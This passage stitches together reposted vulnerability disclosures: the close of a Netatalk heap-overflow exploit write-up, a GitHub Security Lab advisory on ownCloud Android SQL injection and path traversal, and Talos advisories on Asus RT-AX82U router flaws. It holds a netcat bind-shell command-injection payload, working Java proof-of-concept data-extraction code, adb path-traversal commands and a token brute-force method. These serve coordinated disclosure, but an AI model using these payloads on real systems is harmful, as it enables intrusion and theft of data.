As a final optimization, it is even possible to send the last two DSI packets triggering code execution as the last two commands required for the write primitive.
This results in doing the 

preauth_switch
 overwrite and the 
dsi-&gt;command
dsi-&gt;cmdlen
 setup at the same time.
As a matter of fact, this is even easier to mix both because of a detail that is not worth explaining into that write-up.
The interested reader can refer to the exploit commentaries.

PUTTING THINGS TOGETHER

To sum up here is an overview of the exploitation process:

  1. Setting up the connection.
  2. Triggering the vulnerability with a 4 bytes overflow to rewrite 
    dsi-&gt;datalen.
  3. Sending a command with a previously used 
    clientID
     to trigger the leak.
  4. Parsing the leak while looking for 
    hash_t
     struct, giving pointers to the afpd main image.
  5. Closing the old connection and setting up a new connection.
  6. Triggering the vulnerability with a larger overflow to rewrite the look ahead buffer pointers of the 
    dsi
     struct.
  7. Sending both requests as one:
    1. A first 
      DSICommand
       with the content 
      "&lt;function_id&gt; ; /sbin/busybox nc -lp &lt;PORT&gt; -e /bin/sh;"
       ;
    2. A second 
      DSICommand
       with the content 
      &amp;afprun
       but with a zero length 
      dsi_len
       and 
      dsi-&gt;cmdlen.
  8. Sending a 
    DSICommand
     without content to trigger the command execution.

CONCLUSION

During this research we developed a working exploit for the latest version of Netatalk. It uses a single heap overflow vulnerability to bypass all mitigations and obtain command execution as root. On the MyCloud Home the afpd services was configured to allow guest authentication, but since the bug was accessible prior to authentication the exploit works even if guest authentication is disabled.

The funkiest part was undoubtedly implementing a custom TCP stack to trigger the bug. This is quite uncommon for an user land and real life (as not in a CTF) exploit, and we hope that was entertaining for the reader.

Our exploit will be published on GitHub after a short delay. It should work as it on the targeted device. Adapting it to other distributions should require some minor tweaks and is left as an exercise.

Unfortunately, our Pwn2Own entry ended up being a duplicate with the Mofoffensive team who targeted another device that shipped an older version of Netatalk. In this previous release the vulnerability was in essence already there, but maybe a little less fun to exploit as it did not required to mess with the network stack.

We would like to thank:

  • ZDI and Western Digital for their organization of the P2O competition, especially this session considering the number of teams and their help to setup an environment for our exploit ;
  • The Netatalk team for the considerable amount of work and effort they put into this Open Source project.

TIMELINE

  • 2022-06-03 — Vulnerability reported to vendor
  • 2023-02-06 — Coordinated public release of advisory

GHSL-2022-059_GHSL-2022-060: SQL injection vulnerabilities in Owncloud Android app — CVE-2023-24804, CVE-2023-23948

GHSL-2022-059_GHSL-2022-060: SQL injection vulnerabilities in Owncloud Android app - CVE-2023-24804, CVE-2023-23948

Original text by GitHub Security Lab

Coordinated Disclosure Timeline

  • 2022-07-26: Issues notified to ownCloud through HackerOne.
  • 2022-08-01: Report receipt acknowledged.
  • 2022-09-07: We request a status update for GHSL-2022-059.
  • 2022-09-08: ownCloud says that they are still working on the fix for GHSL-2022-059.
  • 2022-10-26: We request a status update for GHSL-2022-060.
  • 2022-10-27: ownCloud says that they are still working on the fix for GHSL-2022-060.
  • 2022-11-28: We request another status update for GHSL-2022-059.
  • 2022-11-28: ownCloud says that the fix for GHSL-2022-059 will be published in the next release.
  • 2022-12-12: Version 3.0 is published.
  • 2022-12-20: We verify that version 3.0 fixed GHSL-2022-060.
  • 2022-12-20: We verify that the fix for GHSL-2022-059 was not included in the release. We ask ownCloud about it.
  • 2023-01-31: ownCloud informs us that in 3.0 the filelist database was deprecated (empty, only used for migrations from older versions) and planned to be removed in a future version.
  • 2023-01-31: We answer that, while that would mitigate one of the reported injections, the other one affects the 
    owncloud_database
     database, which remains relevant.
  • 2023-02-2: Publishing advisories as per our disclosure policy.

Summary

The Owncloud Android app uses content providers to manage its data. The provider 

FileContentProvider
 has SQL injection vulnerabilities that allow malicious applications or users in the same device to obtain internal information of the app.

The app also handles externally-provided files in the activity 

ReceiveExternalFilesActivity
, where potentially malicious file paths are not properly sanitized, allowing attackers to read from and write to the application’s internal storage.

Product

Owncloud Android app

Tested Version

v2.21.1

Details

Issue 1: SQL injection in 
FileContentProvider.kt
 (
GHSL-2022-059
)

The 

FileContentProvider
 provider is exported, as can be seen in the Android Manifest:

<provider
    android:name=".providers.FileContentProvider"
    android:authorities="@string/authority"
    android:enabled="true"
    android:exported="true"
    android:label="@string/sync_string_files"
    android:syncable="true" />

All tables in this content provider can be freely interacted with by other apps in the same device. By reviewing the entry-points of the content provider for those tables, it can be seen that several user-controller parameters end up reaching an unsafe SQL method that allows for SQL injection.

The 
delete
 method

User input enters the content provider through the three parameters of this method:

override fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int {

The 

where
 parameter reaches the following dangerous arguments without sanitization:

private fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int {
    // --snip--
    when (uriMatcher.match(uri)) {
        SINGLE_FILE -> {
            // --snip--
            count = db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID +
                        "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        DIRECTORY -> {
            // --snip--
            count += db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID + "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        ROOT_DIRECTORY ->
            count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection
        SHARES -> count =
            OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1])
        CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection
        UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, where, whereArgs) // injection
        CAMERA_UPLOADS_SYNC -> count = db.delete(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, where, whereArgs) // injection
        QUOTAS -> count = db.delete(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, where, whereArgs) // injection
        // --snip--
    }
    // --snip--
}

The 
insert
 method

User input enters the content provider through the two parameters of this method:

override fun insert(uri: Uri, values: ContentValues?): Uri? {

The 

values
 parameter reaches the following dangerous arguments without sanitization:

private fun insert(db: SQLiteDatabase, uri: Uri, values: ContentValues?): Uri {
    when (uriMatcher.match(uri)) {
        ROOT_DIRECTORY, SINGLE_FILE -> {
            // --snip--
            return if (!doubleCheck.moveToFirst()) {
                // --snip--
                val fileId = db.insert(ProviderTableMeta.FILE_TABLE_NAME, null, values) // injection
                // --snip--
            }
            // --snip--
        }
        // --snip--

        CAPABILITIES -> {
            val capabilityId = db.insert(ProviderTableMeta.CAPABILITIES_TABLE_NAME, null, values) // injection
            // --snip--
        }

        UPLOADS -> {
            val uploadId = db.insert(ProviderTableMeta.UPLOADS_TABLE_NAME, null, values) // injection
            // --snip--
        }

        CAMERA_UPLOADS_SYNC -> {
            val cameraUploadId = db.insert(
                ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        QUOTAS -> {
            val quotaId = db.insert(
                ProviderTableMeta.USER_QUOTAS_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        // --snip--
    }
}

The 
query
 method

User input enters the content provider through the five parameters of this method:

override fun query(
    uri: Uri,
    projection: Array<String>?,
    selection: String?,
    selectionArgs: Array<String>?,
    sortOrder: String?
): Cursor {

The 

selection
 and 
sortOrder
 parameters reach the following dangerous arguments without sanitization (note that 
projection
 is safe because of the use of a projection map):

SHARES -> {
    val supportSqlQuery = SupportSQLiteQueryBuilder
        .builder(ProviderTableMeta.OCSHARES_TABLE_NAME)
        .columns(computeProjection(projection))
        .selection(selection, selectionArgs) // injection
        .orderBy(
            if (TextUtils.isEmpty(sortOrder)) {
                sortOrder // injection
            } else {
                ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER
            }
        ).create()

    // To use full SQL queries within Room
    val newDb: SupportSQLiteDatabase =
        OwncloudDatabase.getDatabase(MainApp.appContext).openHelper.writableDatabase
    return newDb.query(supportSqlQuery)
}

val c = sqlQuery.query(db, projection, selection, selectionArgs, null, null, order)

The 
update
 method

User input enters the content provider through the four parameters of this method:

override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int {

The 

values
 and 
selection
 parameters reach the following dangerous arguments without sanitization:

private fun update(
        db: SQLiteDatabase,
        uri: Uri,
        values: ContentValues?,
        selection: String?,
        selectionArgs: Array<String>?
): Int {
    if (selection != null && selectionArgs == null) {
        throw IllegalArgumentException("Selection not allowed, use parameterized queries")
    }
    when (uriMatcher.match(uri)) {
        DIRECTORY -> return 0 //updateFolderSize(db, selectionArgs[0]);
        SHARES -> return values?.let {
            OwncloudDatabase.getDatabase(context!!).shareDao()
                .update(OCShareEntity.fromContentValues(it)).toInt()
        } ?: 0
        CAPABILITIES -> return db.update(ProviderTableMeta.CAPABILITIES_TABLE_NAME, values, selection, selectionArgs) // injection
        UPLOADS -> {
            val ret = db.update(ProviderTableMeta.UPLOADS_TABLE_NAME, values, selection, selectionArgs) // injection
            trimSuccessfulUploads(db)
            return ret
        }
        CAMERA_UPLOADS_SYNC -> return db.update(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, values, selection, selectionArgs) // injection
        QUOTAS -> return db.update(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, values, selection, selectionArgs) // injection
        else -> return db.update(
            ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs // injection
        )
    }
}

Impact

There are two databases affected by this vulnerability: 

filelist
 and 
owncloud_database
.

Since the tables in 

filelist
 are affected by the injections in the 
insert
 and 
update
 methods, an attacker can use those to insert a crafted row in any table of the database containing data queried from other tables. After that, the attacker only needs to query the crafted row to obtain the information (see the 
Resources
 section for a PoC). Despite that, currently all tables are legitimately exposed through the content provider itself, so the injections cannot be exploited to obtain any extra data. Nonetheless, if new tables were added in the future that were not accessible through the content provider, those could be accessed using these vulnerabilities.

Regarding the tables in 

owncloud_database
, there are two that are not accessible through the content provider: 
room_master_table
 and 
folder_backup
. An attacker can exploit the vulnerability in the 
query
 method to exfiltrate data from those. Since the 
strictMode
 is enabled in the 
query
method, the attacker needs to use a Blind SQL injection attack to succeed (see the 
Resources
section for a PoC).

In both cases, the impact is information disclosure. Take into account that the tables exposed in the content provider (most of them) are arbitrarily modifiable by third party apps already, since the 

FileContentProvider
 is exported and does not require any permissions.

Resources

SQL injection in 
filelist

The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the 

filelist
 database exploiting the issues mentioned above:

package com.example.test;

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
        Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile());
        ContentValues updateValues = new ContentValues();
        updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
                "FROM " + tableName + ") " +
                "WHERE _id=" + result.getLastPathSegment() + "-- -", "a");
        Log.e("test", "" + ctx.getContentResolver().update(
                result, updateValues, null, null));
        String query = query(ctx, new String[]{"path"},
                "_id=?", new String[]{result.getLastPathSegment()});
        deleteFile(ctx, result.getLastPathSegment());
        return query;
    }

    public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception {
        try (Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.owncloud/file"),
                projection,
                selection,
                selectionArgs,
                null)) {
            if (mCursor == null) {
                Log.e("evil", "mCursor is null");
                return "0";
            }
            StringBuilder output = new StringBuilder();
            while (mCursor.moveToNext()) {
                for (int i = 0; i < mCursor.getColumnCount(); i++) {
                    String column = mCursor.getColumnName(i);
                    String value = mCursor.getString(i);
                    output.append("|").append(column).append(":").append(value);
                }
                output.append("\n");
            }
            return output.toString();
        }
    }

    private static ContentValues newOwncloudFile() throws Exception {
        ContentValues values = new ContentValues();
        values.put("parent", "a");
        values.put("filename", "a");
        values.put("created", "a");
        values.put("modified", "a");
        values.put("modified_at_last_sync_for_data", "a");
        values.put("content_length", "a");
        values.put("content_type", "a");
        values.put("media_path", "a");
        values.put("path", "a");
        values.put("file_owner", "a");
        values.put("last_sync_date", "a");
        values.put("last_sync_date_for_data", "a");
        values.put("etag", "a");
        values.put("share_by_link", "a");
        values.put("shared_via_users", "a");
        values.put("permissions", "a");
        values.put("remote_id", "a");
        values.put("update_thumbnail", "a");
        values.put("is_downloading", "a");
        values.put("etag_in_conflict", "a");
        return values;
    }

    public static String deleteFile(Context ctx, String id) throws Exception {
        ctx.getContentResolver().delete(
                Uri.parse("content://org.owncloud/file/" + id),
                null,
                null
        );
        return "1";
    }
}

By providing a columnName and tableName to the exploit function, the attacker takes advantage of the issues explained above to:

  • Create a new file entry in 
    FileContentProvider
    .
  • Exploit the SQL Injection in the 
    update
     method to set the 
    path
     of the recently created file to the values of 
    columnName
     in the table 
    tableName
    .
  • Query the 
    path
     of the modified file entry to obtain the desired values.
  • Delete the file entry.

For instance, 

exploit(context, "name", "SQLITE_MASTER WHERE type="table")
 would return all the tables in the 
filelist
 database.

Blind SQL injection in 
owncloud_database

The following PoC demonstrates how a malicious application with no special permissions could extract information from any table in the 

owncloud_database
 database exploiting the issues mentioned above using a Blind SQL injection technique:

package com.example.test;

import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String blindExploit(Context ctx) {
        String output = "";
        String chars = "abcdefghijklmopqrstuvwxyz0123456789";
        while (true) {
            int outputLength = output.length();
            for (int i = 0; i < chars.length(); i++) {
                char candidate = chars.charAt(i);
                String attempt = String.format("%s%c%s", output, candidate, "%");
                try (Cursor mCursor = ctx.getContentResolver().query(
                        Uri.parse("content://org.owncloud/shares"),
                        null,
                        "'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'",
                        new String[]{"a"}, null)) {
                    if (mCursor == null) {
                        Log.e("ProviderHelper", "mCursor is null");
                        return "0";
                    }
                    if (mCursor.getCount() > 0) {
                        output += candidate;
                        Log.i("evil", output);
                        break;
                    }
                }
            }
            if (output.length() == outputLength)
                break;
        }
        return output;
    }

}

Issue 2: Insufficient path validation in 
ReceiveExternalFilesActivity.java
 (
GHSL-2022-060
)

Access to arbitrary files in the app’s internal storage fix bypass

ReceiveExternalFilesActivity
 handles the upload of files provided by third party components in the device. The received data can be set arbitrarily by attackers, causing some functions that handle file paths to have unexpected behavior. https://hackerone.com/reports/377107 shows how that could be exploited in the past, using the 
"android.intent.extra.STREAM
 extra to force the application to upload its internal files, like 
com.owncloud.android_preferences.xml
. To fix it, the following code was added:

private void prepareStreamsToUpload() {
    // --snip--

    for (Uri stream : mStreamsToUpload) {
        String streamToUpload = stream.toString();
        if (streamToUpload.contains("/data") &&
                streamToUpload.contains(getPackageName()) &&
                !streamToUpload.contains(getCacheDir().getPath())
        ) {
            finish();
        }
    }
}

This protection can be bypassed in two ways:

  • Using the path returned by 
    getCacheDir()
     in the payload, e.g. 
    "file:///data/user/0/com.owncloud.android/cache/../shared_prefs/com.owncloud.android_preferences.xml"
    .
  • Using a content provider URI that uses the 
    org.owncloud.files
     provider to access the app’s internal 
    file
     folder, e.g. 
    "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"
    .

With those payloads, the original issue can be still exploited with the same impact.

Write of arbitrary 
.txt
 files in the app’s internal storage

Additionally, there’s another insufficient path validation when uploading a plain text file that allows to write arbitrary files in the app’s internal storage.

When uploading a plain text file, the following code is executed, using the user-provided text at 

input
 to save the file:

ReceiveExternalFilesActivity:920

private void showUploadTextDialog() {
        // --snip--
        final TextInputEditText input = dialogView.findViewById(R.id.inputFileName);
        // --snip--
        setFileNameFromIntent(alertDialog, input);
        alertDialog.setOnShowListener(dialog -> {
            Button button = alertDialog.getButton(AlertDialog.BUTTON_POSITIVE);
            button.setOnClickListener(view -> {
                // --snip--
                } else {
                    fileName += ".txt";
                    Uri fileUri = savePlainTextToFile(fileName);
                    mStreamsToUpload.clear();
                    mStreamsToUpload.add(fileUri);
                    uploadFiles();
                }
                inputLayout.setErrorEnabled(error != null);
                inputLayout.setError(error);
            });
        });
        alertDialog.show();
    }

By reviewing 

savePlainTextToFile
, it can be seen that the plain text file is momentarily saved in the app’s cache, but the destination path is built using the user-provided 
fileName
:

ReceiveExternalFilesActivity:983

private Uri savePlainTextToFile(String fileName) {
    Uri uri = null;
    String content = getIntent().getStringExtra(Intent.EXTRA_TEXT);
    try {
        File tmpFile = new File(getCacheDir(), fileName); // here
        FileOutputStream outputStream = new FileOutputStream(tmpFile);
        outputStream.write(content.getBytes());
        outputStream.close();
        uri = Uri.fromFile(tmpFile);

    } catch (IOException e) {
        Timber.w(e, "Failed to create temp file for uploading plain text: %s", e.getMessage());
    }
    return uri;
}

An attacker can exploit this using a path traversal attack to write arbitrary text files into the app’s internal storage or other restricted directories accessible by it. The only restriction is that the file will always have the 

.txt
 extension, limiting the impact.

Impact

These issues may lead to information disclosure when uploading the app’s internal files, and to arbitrary file write when uploading plain text files (although limited by the 

.txt
 extension).

Resources

The following PoC demonstrates how to upload arbitrary files from the app’s internal storage:

adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "file:///data/user/0/com.owncloud.android.debug/cache/../shared_prefs/com.owncloud.android.debug_preferences.xml"

The following PoC demonstrates how to upload arbitrary files from the app’s internal 

files
directory:

adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --eu "android.intent.extra.STREAM" "content://org.owncloud.files/files/owncloud/logs/owncloud.2022-07-25.log"

The following PoC demonstrates how to write an arbitrary 

test.txt
 text file to the app’s internal storage:

adb shell am start -n com.owncloud.android.debug/com.owncloud.android.ui.activity.ReceiveExternalFilesActivity -t "text/plain" -a "android.intent.action.SEND" --es "android.intent.extra.TEXT" "Arbitrary contents here" --es "android.intent.extra.TITLE" "../shared_prefs/test"

Credit

These issues were discovered and reported by the CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at 

securitylab@github.com
, please include a reference to 
GHSL-2022-059
 or 
GHSL-2022-060
 in any communication regarding these issues.

Asus RT-AX82U vulnerability

Asus RT-AX82U vulnerability

Original text by talosintelligence

Asus RT-AX82U get_IFTTTTtoken.cgi authentication bypass vulnerability

CVE-2022-35401

An authentication bypass vulnerability exists in the get_IFTTTTtoken.cgi functionality of Asus RT-AX82U 3.0.0.4.386_49674-ge182230. A specially-crafted HTTP request can lead to full administrative access to the device. An attacker would need to send a series of HTTP requests to exploit this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Asus RT-AX82U 3.0.0.4.386_49674-ge182230

PRODUCT URLS

RT-AX82U — https://www.asus.com/us/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AX82U/

DETAILS

The Asus RT-AX82U router is one of the newer Wi-Fi 6 (802.11ax)-enabled routers that also supports mesh networking with other Asus routers. Like basically every other router, it is configurable via a HTTP server running on the local network. However, it can also be configured to support remote administration and monitoring in a more IOT style.

In order to enable remote management and monitoring of our Asus Router, so that it behaves just like any other IoT device, there are a couple of settings changes that need to be made. First we must enable WAN access for the HTTPS server (or else nothing could manage the router), and then we must generate an access code to link our device with either Amazon Alexa or IFTTT. These options can all be found internally at 

http://router.asus.com/Advanced_Smart_Home_Alexa.asp
.

As a high level overview, upon receiving this code, the remote website will connect to your router at the 

get_IFTTTtoken.cgi
 web page and provide a 
shortToken
HTTP query parameter. Assuming this token is received within 2 minutes of the aforementioned access code being generated, and also assuming this token matches what’s in the router’s nvram, the router will respond back with an 
ifttt_token
 that grants full administrative capabilities to the device, just like the normal token used after logging into the device via the HTTP server.

0002863c  int32_t do_get_IFTTTToken_cgi(int32_t arg1, FILE* arg2)
00028660      char* r0 = get_UA_Type(inpstr: &user_agent)                 // [1]
00028668      char* r0_2
00028668      if (r0 != 4)   // asusrouter-Windows-IFTTT-1.0
000286b0          r0_2 = get_UA_Type(inpstr: &user_agent)

// [...]
000286cc      void var_30
000286cc      memset(&var_30, 0, 0x20)
000286d8      char* r0_4 = check_if_queryitem_exists("shortToken")        // [2]
000286e0      if (r0_4 == 0)
000286e4          r0_4 = &nullptr

000286ec      int32_t r0_5 = gen_IFTTTtoken(token: r0_4, outbuf: &var_30) // [3]

00028700      fputs(str: &(*"\tif (disk_num == %d) {\n")[0x15], fp: arg2)
00028708      fflush(fp: arg2)
0002871c      fprintf(stream: arg2, format: ""ifttt_token":"%s",\n", &var_30) // [4]
00028724      fflush(fp: arg2)
00028738      fprintf(stream: arg2, format: ""error_status":"%d"\n", r0_5)
00028740      fflush(fp: arg2)
00028750      fputs(str: &data_81196, fp: arg2)
00028760      return fflush(fp: arg2)

At [1], the function pulls out the “User-Agent” header of our HTTP GET request and checks to see if it starts with “asusrouter”. It also checks if the text after the second dash is either “IFTTT” or “Alexa”. In either of those cases, it returns 4 or 5, and we’re allowed to proceed in the code path. At [2], the function pulls out the 

shortToken
 query parameter from our HTTP GET request and passes that into the 
gen_IFTTTtoken
 function at [3]. Assuming there is a match, 
gen_IFTTTtoken
will output the 
ifttt_token
 authentication buffer to 
var_30
, which is then sent back to the HTTP sender at [4]. Looking at 
gen_IFTTTtoken
:

0007b5c8  int32_t gen_IFTTTtoken(char* token, uint8_t* outbuf)

0007b5d4      int32_t r0 = uptime()
0007b5fc      memset(&ifttt_token_copy, 0, 0x20)
0007b614      int32_t r0_8
0007b614      int32_t arg3
0007b614      int32_t arg4
0007b614      if (r0 - nvram_get_int("ifttt_timestamp") s> 120)       // [5]
0007b6ec          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
0007b710              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] short token timeout\n", "gen_IFTTTtoken", 0x3ff, token, outbuf, arg3, arg4)
0007b714          r0_8 = 1
0007b630      else if (nvram_get_and_cmp("ifttt_stoken", token) == 0) // [6]
0007b72c          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
0007b760              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] short token is not the same: endp…", "gen_IFTTTtoken", 0x402, token, p2_nvram_get(item: "ifttt_stoken"), arg3, arg4)
0007b764          r0_8 = 2
0007b64c      else if (get_UA_Type(inpstr: &user_agent) != 4)
0007b77c          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
0007b7a0              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] user_agent not from IFTTT/ALEXA\n", "gen_IFTTTtoken", 0x405, token, outbuf, arg3, 0xf1430)
0007b7a4          r0_8 = 3
0007b668      else
0007b668          int32_t r2
0007b668          uint8_t* r3
0007b668          r2, r3 = nvram_set("skill_act_code", p2_nvram_get(item: "skill_act_code_t"))
0007b674          generate_asus_token(dst: &ifttt_token_copy, len: 0x20, r2, readsrc: r3)     // [7]
0007b684          strlcpy(dst: outbuf, src: &ifttt_token_copy, len: 0x20)
0007b694          nvram_set("ifttt_token", &ifttt_token_copy)
0007b698          nvram_commit()
0007b6ac          if (isFileExist("/tmp/IFTTT_ALEXA") s> 0)
0007b6d0              Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] get IFTTT long token success\n", "gen_IFTTTtoken", 0x408, token, outbuf, arg3, 0xf1430)
0007b6d4          r0_8 = 0
0007b7ac      return r0_8

Right at the beginning there is a check [5] to see if the uptime of the device is more than two minutes after the 

ifttt_stoken
 has been generated. Assuming we are within that timeframe, the 
ifttt_stoken
 nvram item is grabbed and compared with our 
shortToken
 at [6]. If there’s a match, we end up hitting the code branch around [7], where the device generates a new 
ifttt_token
 and copies it to the output buffer on the next line of code. As a reminder, this token grants the same admin access as the normal HTTP login token.

While nothing really seems out of place at the moment, let’s take a look over at the code which actually generates the 

ifttt_stoken
:

00074210  uint8_t* do_ifttt_token_generation(uint8_t* output)
// [...]
000742c0      char ifttt_token[0x80]
000742c0      memset(&ifttt_token, 0, 0x80)
000742d0      char timestamp[0x80]
000742d0      memset(&timestamp, 0, 0x80)
000742e0      char rbinstr[0x8]
000742e0      rbinstr[0].d = 0
000742e8      int32_t* randbinstrptr = &rbinstr
000742f4      rbinstr[4].d = 0
00074308      srand(x: time(timer: nullptr))
0007431c      // takes the remainder...
00074324      int_to_binstr(inp: __aeabi_idivmod(rand(), 0xff), cpydst: randbinstrptr, len: 7)              // [8]
// [...]
00074608      snprintf(s: &ifttt_token, maxlen: 0x80, format: &percent_o, binary_str_to_int(randbinstrptr)) // [9]
0007461c      nvram_set("ifttt_stoken", &ifttt_token)
00074638      snprintf(s: &timestamp, maxlen: 0x80, format: &percentld, uptime())                           // [10]
00074648      nvram_set("ifttt_timestamp", &timestamp)
00074658      strlcpy(dst: output, src: &skill_act_code, len: 0x48)
0007465c      nvram_commit()
0007466c      return output

With the unimportant code cut out, we are left with a somewhat clear view of the generation process. At [8] a random number is generated that is then moded against 0xFF. This number is then transformed into a binary string of length 8 (e.g. ‘00101011’). A lot further down at [9], this 

randbinstrptr
 is converted back to an integer and fed into a call to 
snprintf(&amp;ifttt_token, 0x80, "%o", ...)
, which generates the octal version of our original number. With this in mind, we can clearly see that the keyspace for the 
ifttt_stoken
 is only 255 possibilities, which makes brute forcing the 
ifttt_stoken
 a trivial matter. While normally this would not be a problem, since the 
ifttt_stoken
 can only be used for two minutes after generation, we can see a flaw in this scheme if we take a look at the 
ifttt_timestamp
’s creation. At [10] we can clearly see that it is the 
uptime()
 of the device in seconds (which is taken from 
sysinfo()
). If we recall the actual check from before:

0007b5d4      int32_t r0 = uptime()
// [...]
0007b614      if (r0 - nvram_get_int("ifttt_timestamp") s> 120)
// [...]
0007b630      else if (nvram_get_and_cmp("ifttt_stoken", token) == 0)

We can see that the current uptime is used against the uptime of the generated token. Unfortunately for the device, 

uptime
 starts from when the device was booted, so if the device ever restarts or reboots for any reason, the 
ifttt_stoken
 suddenly becomes valid again since the current uptime will most likely be less than the 
uptime()
 call at the point of 
ifttt_stoken
 generation. Neither the 
ifttt_timestamp
 or the 
ifttt_stoken
 are ever cleared from nvram, even if the Amazon Alexa and IFTTT setting are disabled, and so the device will remain vulnerable from the moment of first generation of the configuration.

Asus RT-AX82U cfg_server cm_processREQ_NC information disclosure vulnerability

CVE-2022-38105

SUMMARY

An information disclosure vulnerability exists in the cm_processREQ_NC opcode of Asus RT-AX82U 3.0.0.4.386_49674-ge182230 router’s configuration service. A specially-crafted network packets can lead to a disclosure of sensitive information. An attacker can send a network request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Asus RT-AX82U 3.0.0.4.386_49674-ge182230

PRODUCT URLS

RT-AX82U — https://www.asus.com/us/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AX82U/

DETAILS

The Asus RT-AX82U router is one of the newer Wi-Fi 6 (802.11ax)-enabled routers that also supports mesh networking with other Asus routers. Like basically every other router, it is configurable via a HTTP server running on the local network. However, it can also be configured to support remote administration and monitoring in a more IOT style.

The 

cfg_server
 and 
cfg_client
 binaries living on the Asus RT-AX82U are both used for easy configuration of a mesh network setup, which can be done with multiple Asus routers via their GUI. Interestingly though, the 
cfg_server
 binary is bound to TCP and UDP port 7788 by default, exposing some basic functionality. The TCP port and UDP ports have different opcodes, but for our sake, we’re only dealing with the TCP opcodes which look like such:

type_dict = {
   0x1    :   "cm_processREQ_KU",   // [1]
   0x3    :   "cm_processREQ_NC",   // [2]
   0x4    :   "cm_processRSP_NC",
   0x5    :   "cm_processREP_OK",
   0x8    :   "cm_processREQ_CHK",
   0xa    :   "cm_processACK_CHK",
   0xf    :   "cm_processREQ_JOIN",
   0x12   :   "cm_processREQ_RPT",
   0x14   :   "cm_processREQ_GKEY",
   0x17   :   "cm_processREQ_GREKEY",
   0x19   :   "cm_processREQ_WEVENT",
   0x1b   :   "cm_processREQ_STALIST",
   0x1d   :   "cm_processREQ_FWSTAT",
   0x22   :   "cm_processREQ_COST",
   0x24   :   "cm_processREQ_CLIENTLIST",
   0x26   :   "cm_processREQ_ONBOARDING",
   0x28   :   "cm_processREQ_GROUPID",
   0x2a   :   "cm_processACK_GROUPID",
   0x2b   :   "cm_processREQ_SREKEY",
   0x2d   :   "cm_processREQ_TOPOLOGY",
   0x2f   :   "cm_processREQ_RADARDET",
   0x31   :   "cm_processREQ_RELIST",
   0x33   :   "cm_processREQ_APLIST",
   0x37   :   "cm_processREQ_CHANGED_CONFIG",
   0x3b   :   "cm_processREQ_LEVEL",
}  

Out of the 24 different opcodes, only 3 or so can be used without authentication, and so let’s start from the top with 

cm_processREQ_KU
 [1]. The simplest request, it demonstrates the basic TLV structure of the 
cfg_server
:

struct REQ_TLV = {
    uint32_t tlv_type;
    uint32_t size;
    uint32_t crc;
    char buffer[];
}

For the 

cm_processREQ_KU
 request, 
type
 is 1 and the 
crc
 doesn’t actually matter, but the 
size
 field will always be the size of the 
buffer
 field, not the rest of the headers. Regardless, this particular request gets responded to with the server’s public RSA key. This RSA key is needed in order to send a valid 
cm_processREQ_NC
[2] packet, which is where our bug is. The 
cm_processREQ_NC
 request is a bit complex, but the structure is given below:

struct REQ_NC = {
    uint32_t tlv_type = "\x00\x00\00\x03",
    uint32_t size,
    uint32_t crc,
    uint32_t tlv_subpkt1 = "\x00\x00\x00\x01", //[3]
    uint32_t sizeof_subpkt1,
    uint32_t crcof_subpkt1,
    char master_key[ ],                        //[4]
